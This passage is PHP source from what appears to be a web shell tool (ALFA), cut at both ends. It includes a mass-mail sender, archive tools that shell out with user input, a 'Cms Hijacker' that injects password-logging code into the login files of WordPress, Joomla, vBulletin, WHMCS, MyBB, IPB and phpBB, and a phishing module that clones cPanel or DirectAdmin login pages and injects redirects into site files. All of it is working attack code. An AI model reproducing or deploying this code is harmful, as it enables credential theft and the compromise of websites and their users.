$_POST[\'alfa3\'];\n$mail_content = $_POST[\'alfa5\'];\n$count_mail = (int)$_POST[\'alfa6\'];\n$mail_attach = $_POST[\'alfa7\'];\nif(filter_var($mail_to, FILTER_VALIDATE_EMAIL)){\nif(!empty($mail_attach)&&@is_file($mail_attach)){\n$file = $mail_attach;\n$content = __read_file($file);\n$content = chunk_split(__ZW5jb2Rlcg($content));\n$uid = md5(uniqid(time()));\n$filename = basename($file);\n$headers  = "From: ".$mail_from." <".$mail_from.">\\r\\n";\n$headers .= "To: " . $mail_to. " ( ".$mail_to." ) \\r\\n";\n$headers .= "Reply-To: ".$mail_from."\\r\\n";\n$headers .= "Content-Type: multipart/mixed; boundary=\\"".$uid."\\"\\r\\n\\r\\n";\n$headers .= \'MIME-Version: 1.0\' . "\\r\\n";\n$headers .= \'X-Mailer: php\' . "\\r\\n";\n$mail_content  = "--".$uid."\\r\\n";\n$mail_content .= "Content-type:text/plain; charset=iso-8859-1\\r\\n";\n$mail_content .= "Content-Transfer-Encoding: 7bit\\r\\n\\r\\n";\n$mail_content .= $mail_content."\\r\\n\\r\\n";\n$mail_content .= "--".$uid."\\r\\n";\n$mail_content .= "Content-Type: application/octet-stream; name=\\"".$filename."\\"\\r\\n";\n$mail_content .= "Content-Transfer-Encoding: base64\\r\\n";\n$mail_content .= "Content-Disposition: attachment; filename=\\"".$filename."\\"\\r\\n\\r\\n";\n$mail_content .= $content."\\r\\n\\r\\n";\n$mail_content .= "--".$uid."--";\n}else{\n$headers  = "From: " . $mail_from. " ( ".$mail_from." ) \\r\\n";\n$headers .= "To: " . $mail_to. " ( ".$mail_to." ) \\r\\n";\n$headers .= \'Reply-To: \'.$mail_from.\'\' . "\\r\\n";\n$headers .= \'Content-type: text/html; charset=utf-8\' . "\\r\\n";\n$headers .= \'MIME-Version: 1.0\' . "\\r\\n";\n$headers .= \'X-Mailer: php\' . "\\r\\n";\n}\nif(empty($count_mail)||$count_mail<1)$count_mail=1;\nif(!empty($mail_from)){echo __pre();\nfor($i=1;$i<=$count_mail;$i++){\nif(@mail($mail_to,$mail_subject,$mail_content,$headers))echo("<center>Sent -> $mail_to<br></center>");\n}}else{__alert("Invalid Mail From !");}\n}else{__alert("Invalid Mail To !");}\n}\necho(\'</div>\');\nalfafooter();\n}\nfunction alfaziper(){\nalfahead();\nAlfaNum(8,9,10);\necho \'<div class=header><p><center><p><div class="txtfont_header">| Compressor |</div></p>\n<form onSubmit="g(\\\'ziper\\\',null,null,null,this.dirzip.value,this.zipfile.value,\\\'>>\\\');return false;" method="post">\n<div class="txtfont">Dir/File: </div> <input type="text" name="dirzip" value="\'.(!empty($_POST[\'alfa3\'])?htmlspecialchars($_POST[\'alfa3\']):htmlspecialchars($GLOBALS[\'cwd\'])).\'" size="60"/>\n<div class="txtfont">Save Dir: </div> <input type="text" name="zipfile" value="\'.$GLOBALS[\'cwd\'].\'alfa.zip" size="60"/>\n<input type="submit" value=" " name="ziper" />\n</form></center></p>\';\nif(isset($_POST[\'alfa5\']) && ($_POST[\'alfa5\'] == \'>>\')){\n$dirzip = $_POST[\'alfa3\'];\n$zipfile = $_POST[\'alfa4\'];\nif($GLOBALS[\'sys\']!=\'unix\'&&_alfa_can_runCommand(true,true)){\nalfaEx("powershell Compress-Archive -Path \'".addslashes($dirzip)."\' -DestinationPath \'".addslashes(basename($zipfile))."\'");\necho __pre().\'<center><p>Done -> <b><font color="green">\'.$zipfile.\'</font></b></p></center>\';\n}elseif($GLOBALS[\'sys\']==\'unix\'&&_alfa_can_runCommand(true,true)){\nalfaEx("cd \'".addslashes(dirname($zipfile))."\';zip -r \'".addslashes(basename($zipfile))."\' \'".addslashes($dirzip)."\'");\necho __pre().\'<center><p>Done -> <b><font color="green">\'.$zipfile.\'</font></b></p></center>\';\n}elseif(class_exists(\'ZipArchive\')){\nif(__alfaziper($dirzip, $zipfile)){\necho __pre().\'<center><p><font color="green">Success...!<br>\'.$zipfile.\'</font></p></center>\';\n}else{echo __pre().\'<center><p><font color="red">ERROR!!!...</font></p></center>\';}\n}\n}\necho \'</div>\';\nalfafooter();\n}\nfunction __alfaziper($source,$destination){\n    if(!extension_loaded(\'zip\')||!file_exists($source)){\n        return false;\n    }\n    $zip=new ZipArchive();\n    if(!$zip->open($destination,ZIPARCHIVE::CREATE)){\n        return false;\n    }\n    $source=str_replace(\'\\\\\',\'/\',realpath($source));\n    if(is_dir($source)===true){\n        $files=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source),RecursiveIteratorIterator::SELF_FIRST);\n        foreach($files as $file){\n            $file=str_replace(\'\\\\\',\'/\',$file);\n            if(in_array(substr($file,strrpos($file,\'/\')+1),array(\'.\',\'..\')))continue;\n            $file=realpath($file);\n            if(is_dir($file)===true){\n                $zip->addEmptyDir(str_replace($source.\'/\',\'\',$file.\'/\'));\n            }else if(is_file($file)===true){\n                $zip->addFromString(str_replace($source.\'/\',\'\',$file),file_get_contents($file));\n            }\n        }\n    }else if(is_file($source)===true){\n        $zip->addFromString(basename($source),file_get_contents($source));\n    }\n    return $zip->close();\n}\nfunction alfadeziper(){\nalfahead();\nAlfaNum(8,9,10);\necho \'<div class=header><p><center><p><div class="txtfont_header">| DeCompressor |</div></p>\n<form onSubmit="g(\\\'deziper\\\',null,null,null,this.dirzip.value,this.zipfile.value,\\\'>>\\\');return false;" method="post">\n<div class="txtfont">File: </div> <input type="text" name="dirzip" value="\'.(!empty($_POST[\'alfa3\'])?htmlspecialchars($_POST[\'alfa3\']):htmlspecialchars($GLOBALS[\'cwd\'])).\'" size="60"/>\n<div class="txtfont">Extract To: </div> <input type="text" name="zipfile" value="\'.$GLOBALS[\'cwd\'].\'" size="60"/>\n<input type="submit" value=" " name="ziper" />\n</form></center></p>\';\nif(isset($_POST[\'alfa5\']) && ($_POST[\'alfa5\'] == \'>>\')){\n$dirzip = $_POST[\'alfa3\'];\n$zipfile = $_POST[\'alfa4\'];\nif(@!is_dir($zipfile)){\n    @mkdir($zipfile, 0777, true);\n}\n$finfo = "";\n$file_type = "";\nif(function_exists(\'finfo_open\')){\n$finfo = @finfo_open(FILEINFO_MIME_TYPE);\n$file_type = @finfo_file($finfo, $dirzip);\n@finfo_close($finfo);\n}else{\n    if($GLOBALS[\'sys\']==\'unix\'&&_alfa_can_runCommand(true,true)){\n        $file_type = alfaEx(\'file -b --mime-type \' . $dirzip);\n    }\n}\nif($GLOBALS[\'sys\']!=\'unix\'&&_alfa_can_runCommand(true,true)){\nalfaEx("powershell expand-archive -path \'".addslashes($dirzip)."\' -destinationpath \'".addslashes(basename($zipfile))."\'");\necho __pre().\'<center><p>Done -> <b><font color="green">\'.$zipfile.\'</font></b></p></center>\';\n}elseif($GLOBALS[\'sys\']==\'unix\'&&!empty($file_type)&&_alfa_can_runCommand(true,true)&&(strlen(alfaEx(\'which unzip\')) > 0||strlen(alfaEx(\'which tar\')) > 0||strlen(alfaEx(\'which gunzip\')) > 0)){\nswitch ($file_type) {\n    case \'application/zip\':\n        alfaEx("cd \'".addslashes($zipfile)."\';unzip \'".addslashes($dirzip)."\'");\n    break;\n    case \'application/x-tar\': case \'application/x-gzip\': case \'application/x-gtar\':\n        if(strstr(basename($dirzip), ".tar.gz")||strstr(basename($dirzip), ".tar")){\n            alfaEx("cd \'".addslashes($zipfile)."\';tar xzf \'".addslashes($dirzip)."\'");\n        }else{\n            alfaEx("cd \'".addslashes($zipfile)."\';gunzip \'".addslashes($dirzip)."\'");\n        }\n    break;\n}\necho __pre().\'<center><p>Done -> <b><font color="green">\'.$zipfile.\'</font> <a style="cursor:pointer;" onclick="g(\\\'FilesMan\\\',\\\'\'.$zipfile.\'\\\');">[ View Folder ]</a></b></p></center>\';\n}elseif(class_exists(\'ZipArchive\')){\n    $itsok = false;\n    if(emtpy($file_type)){\n        $file_type = "application/zip";\n    }\n    switch ($file_type) {\n        case \'application/zip\':\n            $zip = new ZipArchive;\n            $res = $zip->open($dirzip);\n            if ($res) {\n                $zip->extractTo($zipfile);\n                $zip->close();\n                $itsok = true;\n            }\n        break;\n        case \'application/x-tar\': case \'application/x-gzip\': case \'application/x-gtar\':\n            if(strstr(basename($dirzip), ".tar.gz")){\n                $new_file = $zipfile .\'/\'. basename($dirzip);\n                @copy($dirzip, $new_file);\n                $new_tar = str_replace(".tar.gz", ".tar", $new_file);\n                try {\n                    $p = new PharData($new_file);\n                    $p->decompress();\n                    $phar = new PharData($new_tar);\n                    $phar->extractTo($zipfile);\n                    @unlink($new_file);\n                    @unlink($new_tar);\n                    $itsok = true;\n                } catch (Exception $e) {\n                }\n            }else{\n                try {\n                    $phar = new PharData($dirzip);\n                    $phar->extractTo($zipfile);\n                    $itsok = true;\n                } catch (Exception $e) {\n                }\n            }\n        break;\n    }\nif($itsok){\necho __pre().\'<center><p><font color="green">Success...!<br>\'.$zipfile.\'</font> <a style="cursor:pointer;" onclick="g(\\\'FilesMan\\\',\\\'\'.$zipfile.\'\\\');">[ View Folder ]</a></p></center>\';\n}else{echo __pre().\'<center><p><font color="red">ERROR!!!...</font></p></center>\';}\n}\n}\necho \'</div>\';\nalfafooter();\n}\nfunction alfacmshijacker(){\nalfahead();\nAlfaNum(5,6,7,8,9,10);\necho \'<div class=header><br>\n<center><div class="txtfont_header">| Cms Hijacker |</div><br><br><form onSubmit="g(\\\'cmshijacker\\\',null,this.cmshi.value,this.saveto.value,\\\'>>\\\',this.cmspath.value);return false;" method=\\\'post\\\'>\n<div class="txtfont">CMS: <select style="width:100px;" name="cmshi">\';\n$cm_array = array("vb"=>"vBulletin","wp"=>"wordpress","jom"=>"joomla","whmcs"=>"whmcs","mybb"=>"mybb","ipb"=>"ipboard","phpbb"=>"phpbb");\nforeach($cm_array as $key=>$val)echo \'<option value="\'.$key.\'">\'.$val.\'</option>\';\necho("</select>");\necho \' Path installed cms: <input size="50" type="text" name="cmspath" placeholder="ex: /home/user/public_html/vbulletin/">\nSaveTo: <input size="50" type="text" name="saveto" value="\'.$GLOBALS[\'cwd\'].\'alfa.txt"></font>\n<input type="submit" name="btn" value=" "></form></center><br>\';\n$cms = $_POST[\'alfa1\'];\n$saveto = $_POST[\'alfa2\'];\n$cmspath = $_POST[\'alfa4\'];\nif(!empty($cms) AND !empty($saveto) AND $_POST[\'alfa4\'] AND $_POST[\'alfa3\'] == \'>>\'){\necho __pre();\nalfaHijackCms($cms,$cmspath,$saveto);\n}\necho \'</div>\';\nalfafooter();\n}\nfunction alfaHijackCms($cms,$cmspath,$saveto){\nswitch($cms){\ncase "vb":\nhijackvBulletin($cmspath,$saveto);\nbreak;\ncase "wp":\nhijackwp($cmspath,$saveto);\nbreak;\ncase "jom":\nhijackJoomla($cmspath,$saveto);\nbreak;\ncase "whmcs":\nhijackWhmcs($cmspath,$saveto);\nbreak;\ncase "mybb":\nhijackMybb($cmspath,$saveto);\nbreak;\ncase "ipb":\nhijackIPB($cmspath,$saveto);\nbreak;\ncase "phpbb":\nhijackPHPBB($cmspath,$saveto);\nbreak;\ndefault:\necho "error!";\nbreak;\n}\n}\nfunction hijackvBulletin($path,$saveto){\n$code=\'$alfa_username = strtolower($vbulletin->GPC["vb_login_username"]);$alfa_password = $vbulletin->GPC["vb_login_password"];$alfa_file = "{saveto_path}";$sql_query = $vbulletin->db->query_read("SELECT * FROM " . TABLE_PREFIX . "user WHERE `username`=\\\'" . $alfa_username . "\\\'");while($row = $vbulletin->db->fetch_array($sql_query)){if(strlen($alfa_password) > 1 AND strlen($alfa_username) > 1){$fp1 = @fopen($alfa_file, "a+");@fwrite($fp1, $alfa_username . \\\' : \\\' .  $alfa_password." (" . $row["email"] . ")\\n");@fclose($fp1); $f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}\';\n$clearpw = \'defined(\\\'DISABLE_PASSWORD_CLEARING\\\')\';\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\n$login = $path."/login.php";\n$class = $path."/includes/class_bootstrap.php";\n$dologin = \'do_login_redirect();\';\n$evil_login = "\\t".$code."\\n\\t".$dologin;\n$evil_class = "true";\nif((@is_file($login) AND @is_writable($login)) || (@is_file($class) AND @is_writable($class))){\n$data_login = @file_get_contents($login);\n$data_class = @file_get_contents($class);\nif(strstr($data_login, $dologin) || strstr($data_class, $clearpw)){\n$login_replace = str_replace($dologin,$evil_login, $data_login);\n$class_replace = str_replace($clearpw,$evil_class, $data_class);\n@file_put_contents($login, $login_replace);\n@file_put_contents($class, $class_replace);\nhijackOutput(0,$saveto);\n}else{\nhijackOutput(1);\n}\n}else{\nhijackOutput(1);\n}\n}\nfunction hijackwp($path,$saveto){\n$code = \'$alfa_file="{saveto_path}";$fp = fopen($alfa_file, "a+");fwrite($fp, $_POST[\\\'log\\\']." : ".$_POST[\\\'pwd\\\']." (".($user->user_email).")\\n");fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);\';\n$redirect_wp = \'#if[ ]{0,}\\([ ]{0,}![ ]{0,}is_wp_error\\([ ]{0,}\\$user[ ]{0,}\\)[ ]{0,}&&[ ]{0,}![ ]{0,}\\$reauth[ ]{0,}\\)[ ]{0,}{#\';\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\n$login=$path."/wp-login.php";\nif(@is_file($login) AND @is_writable($login)){\n$data_login = @file_get_contents($login);\nif(@preg_match($redirect_wp, $data_login, $match)){\n$evil_login = "\\t".$match[0]."\\n\\t".$code;\n$login_replace = @preg_replace($redirect_wp,$evil_login, $data_login);\n@file_put_contents($login, $login_replace);\nhijackOutput(0,$saveto);\n}else{\nhijackOutput(1);\n}\n}else{\nhijackOutput(1);\n}\n}\nfunction hijackJoomla($path,$saveto){\n$code = \'<?php jimport(\\\'joomla.user.authentication\\\');$Alfa_auth = & JAuthentication::getInstance();$Cavdar59_DATA = array(\\\'username\\\'=>$_POST[\\\'username\\\'],\\\'password\\\'=>$_POST[\\\'passwd\\\']);$Alfa_options = array();$Alfa_response = $Alfa_auth->authenticate($Cavdar59_DATA, $Alfa_options);if($Alfa_response->status == 1){$alfa_file="{saveto_path}";$fp=@fopen($alfa_file,"a+");@fwrite($fp, $Alfa_response->username.":".$_POST[\\\'passwd\\\']." ( ".$Alfa_response->email." )\\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}?>\';\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\n$comp=$path."/administrator/components/com_login/";\nif(@is_file($comp."/login.php")){\n$login = $comp."/login.php";\n}elseif(@is_file($comp."/admin.login.php")){\n$login = $comp."/admin.login.php";\n}else{\n$login = \'\';\n}\nif(@is_file($login) AND @is_writable($login) AND $login != \'\'){\n$data_login = @file_get_contents($login);\n$evil_login = $code."\\n".$data_login;\n@file_put_contents($login, $evil_login);\nhijackOutput(0,$saveto);\n}else{\nhijackOutput(1);\n}\n}\nfunction hijackWhmcs($path,$saveto){\n$code = \'<?php if(isset($_POST[\\\'username\\\']) AND isset($_POST[\\\'password\\\']) AND !empty($_POST[\\\'username\\\']) AND !empty($_POST[\\\'password\\\'])){if($alfa_connect=@mysqli_connect($db_host,$db_username,$db_password,$db_name)){$alfa_file = "{saveto_path}";$alfa_uname = @$_POST[\\\'username\\\'];$alfa_pw = @$_POST[\\\'password\\\'];if(isset($_POST[\\\'language\\\'])){$alfa_q = "SELECT * FROM tbladmins WHERE `username` = \\\'$alfa_uname\\\' AND `password` = \\\'".md5($alfa_pw)."\\\'";$admin = true;}else{$alfa_q = "SELECT * FROM tblclients WHERE `email` = \\\'$alfa_uname\\\'";$admin = false;}$alfa_query = mysqli_query($alfa_connect, $alfa_q);if(mysqli_num_rows($alfa_query) > 0 ){$row = mysqli_fetch_array($alfa_query);$allow = true;if(!$admin){$__salt = explode(\\\':\\\', $row[\\\'password\\\']);$__encPW = md5($__salt[1].$_POST[\\\'password\\\']).\\\':\\\'.$__salt[1];if($row[\\\'password\\\'] == $__encPW){$allow = true;$row[\\\'username\\\'] = $row[\\\'email\\\'];}else{$allow = false;}}if($allow){$fp = @fopen($alfa_file, "a+");@fwrite($fp, $row[\\\'username\\\'] . \\\' : \\\' .  $alfa_pw." (" . $row["email"] . ") : ".($admin ? \\\'is_admin\\\' : \\\'is_user\\\')."\\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);}}}}?>\';\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\n$conf=$path."/configuration.php";\nif(@is_file($conf) AND @is_writable($conf)){\n$data_conf = @file_get_contents($conf);\nif(!strstr($data_conf,\'?>\'))$code = \'?>\'.$code;\n$evil_conf = $data_conf."\\n".$code;\n@file_put_contents($conf, $evil_conf);\nhijackOutput(0,$saveto);\n}else{\nhijackOutput(1);\n}\n}\nfunction hijackMybb($path,$saveto){\n$code = \'$alfa_q = $db->query("SELECT `email` FROM ".TABLE_PREFIX."users WHERE `username` = \\\'".$user[\\\'username\\\']."\\\'");$alfa_fetch = $db->fetch_array($alfa_q);$alfa_file = "{saveto_path}";$fp = @fopen($alfa_file, "a+");@fwrite($fp, $user[\\\'username\\\']." : ". $user[\\\'password\\\']." ( ".$alfa_fetch[\\\'email\\\']." )\\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);\';\n$find = \'$loginhandler->complete_login();\';\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\n$login=$path."/member.php";\n$evil_login = "\\t".$code."\\n\\t".$find;\nif(@is_file($login) AND @is_writable($login)){\n$data_login = @file_get_contents($login);\nif(strstr($data_login, $find)){\n$login_replace = str_replace($find,$evil_login, $data_login);\n@file_put_contents($login, $login_replace);\nhijackOutput(0,$saveto);\n}else{\nhijackOutput(1);\n}\n}else{\nhijackOutput(1);\n}\n}\nfunction hijackIPB($path,$saveto){\n$code = \'$Alfa_q = $this->DB->buildAndFetch(array(\\\'select\\\' => \\\'email\\\', \\\'from\\\' => \\\'members\\\', \\\'where\\\' => \\\'name="\\\'.$username.\\\'" OR email="\\\'.$email.\\\'"\\\'));$Alfa_file = "{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $_POST[\\\'ips_username\\\'].\\\' : \\\'.$_POST[\\\'ips_password\\\'].\\\' ( \\\'.$Alfa_q[\\\'email\\\'].\\\' )\\\'."\\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);\';\n$find = \'unset( $member[\\\'plainPassword\\\'] );\';\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\n$login=$path."/admin/sources/handlers/han_login.php";\n$evil_login = "\\t".$find."\\n\\t".$code;\nif(@is_file($login) AND @is_writable($login)){\n$data_login = @file_get_contents($login);\nif(strstr($data_login, $find)){\n$login_replace = str_replace($find,$evil_login, $data_login);\n@file_put_contents($login, $login_replace);\nhijackOutput(0,$saveto);\n}else{\nhijackOutput(1);\n}\n}else{\nhijackOutput(1);\n}\n}\nfunction hijackPHPBB($path,$saveto){\n$code = \'$Alfa_u = request_var(\\\'username\\\', \\\'\\\');$Alfa_p = request_var(\\\'password\\\', \\\'\\\');if($Alfa_u != \\\'\\\' AND $Alfa_p != \\\'\\\'){$Alfa_response = $auth->login($Alfa_u,$Alfa_p);if($Alfa_response[\\\'status\\\'] == LOGIN_SUCCESS){$Alfa_file ="{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $Alfa_u." : ".$Alfa_p. " ( ".$Alfa_response[\\\'user_row\\\'][\\\'user_email\\\']." )\\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}\';\n$find = \'case \\\'login\\\':\';\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\n$login=$path."/ucp.php";\n$evil_login = "\\t".$find."\\n\\t".$code;\nif(@is_file($login) AND @is_writable($login)){\n$data_login = @file_get_contents($login);\nif(strstr($data_login, $find)){\n$login_replace = str_replace($find,$evil_login, $data_login);\n@file_put_contents($login, $login_replace);\nhijackOutput(0,$saveto);\n}else{\nhijackOutput(1);\n}\n}else{\nhijackOutput(1);\n}\n}\nfunction hijackOutput($c=0,$p=\'\'){echo($c==0?"<center><font color=\'green\'>Success</font> --> path: $p</center>":\'<center><font color="red">Error in inject code !</font></center>\');}\nfunction Alfa_StrSearcher($dir,$string,$ext,$e,$arr=array()){\nif(@is_dir($dir)){\n$files=@scandir($dir);\nforeach($files as $key => $value){\n$path=@realpath($dir. DIRECTORY_SEPARATOR .$value);\nif(!@is_dir($path)){\nif($ext!=\'*\'){$f = basename($path);$f = explode(\'.\',$f);$f = end($f);if($f!=$ext)continue;}\nif($e==\'str\'){\n$content = @file_get_contents($path);\nif(strpos($content, $string) !== false){\necho str_replace(\'\\\\\',\'/\',$path) . "<br>";\n}\n}else{\nif(strstr($value,$string)){\necho str_replace(\'\\\\\',\'/\',$path) . "<br>";\n}\n}\n$results[] = $path;\n}elseif($value != "." && $value != "..") {\nAlfa_StrSearcher($path,$string,$ext,$e,$results);\n$results[] = $path;\n}}}}\nfunction alfafakepage(){\n    alfahead();\n    AlfaNum(9,10);\n    echo \'<div class=header><br>\n    <center><div class="txtfont_header">| Host Manager Fake page |</div></center><br><br><form onSubmit="g(\\\'fakepage\\\',null,this.clone_page.value,this.fake_root.value,\\\'>>\\\',this.logto.value,this.panel.value,this.inject_to.value,this.bind_on.value,this.count.value);return false;" method=\\\'post\\\'>\n    <div class="txtfont" style="position: relative;left: 50%;transform: translate(-50%);"><div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Panel: </span><select style="width:100px;" name="panel">\';\n    $cm_array = array("cpanel"=>"Cpanel","directadmin"=>"DirectAdmin");\n    foreach($cm_array as $key=>$val)echo \'<option value="\'.$key.\'">\'.$val.\'</option>\';\n    echo("</select></div>");\n    echo \'<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Clone page: </span><input size="50" type="text" name="clone_page" placeholder="eg: https://target.com:2083 | https://target.com:2222"></div>\n    <div style="margin-bottom:6px;"><span>Fake page root: </span><input size="50" type="text" name="fake_root" value="\'.$_SERVER["DOCUMENT_ROOT"].\'/fake_page_root/"></div>\n    <div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Inject to: </span><input size="50" type="text" name="inject_to" value="\'.$_SERVER["DOCUMENT_ROOT"].\'/index.php"></div>\n    <div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Bind on: </span><input size="50" type="text" name="bind_on" placeholder="eg: \'.$_SERVER["DOCUMENT_ROOT"].\'/wp-login.php"></div>\n    <div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Log To: </span><input size="50" type="text" name="logto" value="\'.$GLOBALS[\'cwd\'].\'logs.txt"></div>\n    <div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Count of Invalid login: </span><input size="20" type="text" name="count" value="3" style="text-align:center;"></div>\n    <div style="text-align:center;"><input type="submit" name="btn" value=" "></div></div></form><br>\';\n    $clone_page = $_POST[\'alfa1\'];\n    $fake_root = $_POST[\'alfa2\'];\n    $logto = $_POST[\'alfa4\'];\n    $panel = $_POST[\'alfa5\'];\n    $inject_to = $_POST[\'alfa6\'];\n    $bind_on = $_POST[\'alfa7\'];\n    $count = $_POST[\'alfa8\'];\n    if(!empty($clone_page) && !empty($fake_root) && !empty($logto) && !empty($inject_to) && !empty($bind_on) && $_POST[\'alfa3\'] == \'>>\'){\n        echo __pre();\n        $target = $clone_page;\n        $curl = new AlfaCURL();\n        $source_page = $curl->Send($target);\n        if(!empty($source_page)){\n            $matched_form = "";\n            if($panel == "cpanel"){\n                if(preg_match(\'#<form(.*)id="login_form"(.*)>#\', $source_page, $match)){\n                    $matched_form = $match[0];\n                }\n            }else{\n                if(preg_match(\'#<form(.*?)>#\', $source_page, $match)){\n                    $matched_form = $match[0];\n                }\n            }\n            if(!empty($matched_form)){\n                $fake = "";\n                $pwd = str_replace($_SERVER["DOCUMENT_ROOT"], \'\', $fake_root);\n                $uri = str_replace($_SERVER["DOCUMENT_ROOT"], \'\', $inject_to);\n                if($panel == "cpanel"){\n                    $port = "2083";\n                }else{\n                    $target = str_replace(array("http://", "https://"), "", $target);\n                    $port = explode(":",$target);\n                    $port = $port[1];\n                }\n                if(substr($uri, 0, 1) == "/"){\n                    $uri = substr($uri, 1);\n                }\n                $uri = $_SERVER["HTTP_ORIGIN"] . \'/\' . str_replace("index.php", "", $uri) . \'?:\' . $port;\n                $log_url = $_SERVER["HTTP_ORIGIN"] . $pwd . \'/log.php\';\n                if($panel == "cpanel"){\n                    $form = \'<form novalidate id="login_form" action="\'.$log_url.\'" method="post" target="_top" style="visibility:">\';\n                }else{\n                    $form = \'<form action="\'.$log_url.\'" method="post">\';\n                }\n                $fake = str_replace($matched_form, $form, $source_page);\n                if(@!is_dir($fake_root)){\n                    @mkdir($fake_root, 0777, true);\n                }\n\n                $cookie_name = "alfa_fakepage_counter" . rand(9999,99999);\n\n                $post_user = \'user\';\n                $post_pass = \'pass\';\n                $resp_code = \'if(empty($user)){http_response_code(400);echo json_encode(array("message" => "no_username"));}else{http_response_code(401);}\';\n                if($panel != "cpanel"){\n                    $post_user = \'username\';\n                    $post_pass = \'password\';\n                    $resp_code = \'@header("Location: ".$_SERVER[\\\'HTTP_REFERER\\\']);\';\n                }\n\n                $cpanel_log = \'<?php $cook_time = time()+(86400 * 7); $user = $_POST["\'.$post_user.\'"];$pass = $_POST["\'.$post_pass.\'"];if(!empty($user) && !empty($pass)){if(!isset($_COOKIE["\'.$cookie_name.\'"])){@setcookie("\'.$cookie_name.\'", 0, $cook_time, "/");$_COOKIE["\'.$cookie_name.\'"]=1;}if((int)$_COOKIE["\'.$cookie_name.\'"]>\'.$count.\'){@header("Location: /");exit;}@setcookie("\'.$cookie_name.\'", ((int)$_COOKIE["\'.$cookie_name.\'"] + 1), $cook_time, "/");$fp = @fopen("\'.$logto.\'", "a+");@fwrite($fp, $user . " : " . $pass . "\\n");fclose($fp);sleep(3);\'.$resp_code.\'exit;}?>\';\n\n                @file_put_contents($fake_root.\'/log.php\', $cpanel_log);\n\n                if($panel == "cpanel"){\n                    $fake = preg_replace(array(\'#<link(.*)href="(.*)"(.*)>#\', \'#<img class="main-logo" src="(.*)"(.*)>#\', \'# <a(.*)id="reset_password">#\'), array(\'<link href="\'.$target.\'/$2">\', \'<img class="main-logo" src="\'.$target.\'/$1" alt="logo" />\', \'<a href="#" id="reset_password">\'), $fake);\n                }\n\n                @file_put_contents($fake_root.\'/index.php\', $fake);\n\n                $inject_code = \'<?php if(isset($_GET[":2083"])&&(int)$_COOKIE["\'.$cookie_name.\'"]<\'.$count.\'){@include("\'.$fake_root.\'/index.php");exit;}?>\';\n                $bind_on_code = \'<?php if((int)$_COOKIE["\'.$cookie_name.\'"]<\'.$count.\'){@header("Location: \'.$uri.\'");exit;}?>\';\n\n                @file_put_contents($inject_to, $inject_code . "\\n" .@file_get_contents($inject_to));\n                @file_put_contents($bind_on, $bind_on_code . "\\n" .@file_get_contents($bind_on));\n\n                echo "success...!";\n            }else{\n                echo "failed...!";\n            }\n        }else{\n            echo("<div style=\'text-align:center;color:red;\'>Cannot open the target...!</div>");\n        }\n    }\n    echo \'</div>\';\n    alfafooter();\n}\nfunction alfaarchive_manager(){\n    alfahead();\n    $file = $_POST[\'alfa2\'];\n    if(!file_exists($file)){\n        $file = $GLOBALS[\'cwd\'];\n    }\n    $rand_id = rand(9999, 999999);\n    echo \'<div class=header><center><p><div class="txtfont_header">| Archive Manager |</div></p>\';\n    echo \'<form name="srch" onSubmit="g(\\\'archive_manager\\\',null,null,this.file.value,null,null,\\\'>>\\\');return false;" method=\\\'post\\\'>\n    <div class="txtfont">\n    Archive file: <input size="50" id="target" type="text" name="file" value="\'.$file.\'">\n    <input type="submit" name="btn" value=" "></div></form></center><br>\';\n    if($_POST[\'alfa5\']==\'>>\'){\n        //echo __pre();\n        echo \'<hr><div style="margin-left: 12px;" archive_full="phar://\'.$file.\'" archive_name="\'.basename($file).\'" id="archive_dir_\'.$rand_id.\'" class="archive_dir_holder"><span>PWD: </span><div class="archive_pwd_holder" style="display:inline-block"><a>/</a></div></div>\';\n        echo \'<div style="padding: 10px;" id="archive_base_\'.$rand_id.\'">\';\n        __alfa_open_archive_file($file, $rand_id);\n        echo \'</div>\';\n    }\n    echo \'</div>\';\n    alfafooter();\n}\nfunction __alfa_open_archive_file($arch, $base_id=0){\n    try{\n        $files = array();\n        $dirs = array();\n        $archive = new PharData($arch);\n         foreach($archive as $file) {\n             $file_modify = @date(\'Y-m-d H:i:s\', @filemtime($file->getPathname()));\n             if($file->isDir()) {\n                 $dirs[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "dir", "modify" => $file_modify);\n             }else{\n                 $file_size = @filesize($file->getPathname());\n                 $files[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "file",  "modify" => $file_modify, "size" => $file_size);\n             }\n         }\n         function __alfa_open_archive_usort($a, $b){\n             return strcmp(strtolower($a[\'name\']), strtolower($b[\'name\']))*1;\n         }\n         usort($dirs, "__alfa_open_archive_usort");\n         usort($files, "__alfa_open_archive_usort");\n         $files = array_merge($dirs, $files);\n         echo \'<table width="100%" class="main" cellspacing="0" 